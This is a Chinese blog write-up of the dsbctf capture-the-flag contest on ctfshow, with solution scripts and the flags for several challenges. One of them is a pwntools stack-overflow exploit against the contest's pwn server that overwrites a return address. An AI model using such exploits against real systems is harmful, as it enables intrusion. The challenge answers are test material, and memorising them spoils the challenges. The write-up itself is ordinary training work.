首页 > 分享 > 单身杯(dsbctf) 复盘

单身杯(dsbctf) 复盘

花匠小妙招
2025-12-27 10:42

5月20日，单身杯(dsb)

一、re签到

三次base64解码即可

ctfshow{dsb_re_sign_in_hsssssssss}

二、magic

checkToken函数满足一下三个条件

直接python脚本爆破:

def p(x): if (x == 2) or (x == 3): return True if (x % 6 != 1) and (x % 6 != 5): return False for i in range(5, int(x ** 0.5) + 1, 6): if (x % i == 0) or (x % (i + 2) == 0): return False return True def h(n): N = [] while n != 0: N.append(n % 10) n = n // 10 return N == N[::-1] def ch(num): nn = num sum = 0 mm = 0 while nn: mm = nn % 10 nn = nn // 10 sum += mm if sum != 58: return 0 else : return 1 for i in range(999999,9999999999): if ch(i) == 0 or p(i) ==0 or h(i) == 0: continue print(i) #29位，质数

会得到三个结果。。。挨着试一试就好了

ctfshow{9888889}

三、回归原点(不会)

损害的pkl文件？？不会做...

四、pwn签到

特简单的栈溢出。。直接上脚本

from pwn import * sh = remote('pwn.challenge.ctf.show',28082) context.log_level = 'debug' sh.recvuntil('欢迎来到单身杯，单身快乐！') payload = b'a' *0x10 + b'a' * 4 + p32(0x80484F6) sh.send(payload) sh.interactive()

五、没大没小的串串:

python脚本暴力破解

import hashlib def md5(str): hl = hashlib.md5() hl.update(str.encode(encoding='utf-8')) if hl.hexdigest() == "7513209051f455fa44d0fa5cd0f3e051" : print(str) exit() def getmore(st): for s in "tT": for t in "uU": for u in "lL": for v in "aA": for w in "tT": w += "10" for x in "nN": for y in "sS": sss = st sss += s + t + u + v + w + x + y #print(sss) md5(sss) strr = "y0u_re4lly_kn0w_th1s_congr4tulat10ns" for a in "yY": a += '0' for b in "uU": b +='_' for c in "rR": for d in "eE": d += '4' for e in "lL": for f in "lL": for g in "yY": g += '_' for h in "kK": for i in "nN": i += '0' for j in "wW": j += '_' for k in "tT": for l in "hH": l += '1' for m in "sS": m += '_' for n in "cC": for o in "oO": for p in "nN": for q in "gG": for r in "rR": r += '4' getmore( a + b + c + d + e + f + g + h + i + j + k + l + m + n + o + p + q + r) #python 对循环的限制是最多嵌套19层...

23重循环...